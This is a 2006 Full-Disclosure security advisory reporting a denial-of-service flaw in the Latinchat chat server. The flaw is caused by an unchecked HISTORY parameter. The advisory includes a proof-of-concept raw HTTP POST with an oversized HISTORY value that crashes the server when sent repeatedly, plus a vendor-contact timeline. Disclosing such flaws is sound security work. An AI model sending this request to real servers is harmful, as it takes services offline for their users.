[Full-disclosure] Latinchat Denial Of Service



Denial Of Service on Chat Magma Latinchat
http://www.latinchat.com

Researcher: Vicente Perez

1.-Overview

Latinchat is one of the most known chat server, and used basically by
latin american people.

2.-Description

This system has a vulnerabily as DoS, taking system offline by a while.

The fail happens when the histroy variable is not properly checked by
system, and when the request, is modified by a mal intencionated user,
can take the system down. History variable is used to show the last X
messages sent to the room before the conexion takes place.

A POC has been writed as:

POST /JAVA HTTP/1.0
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows 98)
Referer: http://www.disp006-org.latinchat.com
Content-length: 142

UserName=Pentest&SessionID=C247b19b2a&TEMPLATE=2&RoomID=R29_6-1&HISTORY=999999999999999999999999999999999999999999999999999999999999999999999

When this URL is sent for a spefied times, the server crash.

4.- Disclosure Timeout
Vendor COntacted: 08-Julio-2006 Vendor never response.
Public Advisory: 08-Agosto-2006

5.- Copyright

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vicente.perez@xxxxxxxxxxx
Copyright SecurityNation.
Contact: vp.vicenteperez@xxxxxxxxx
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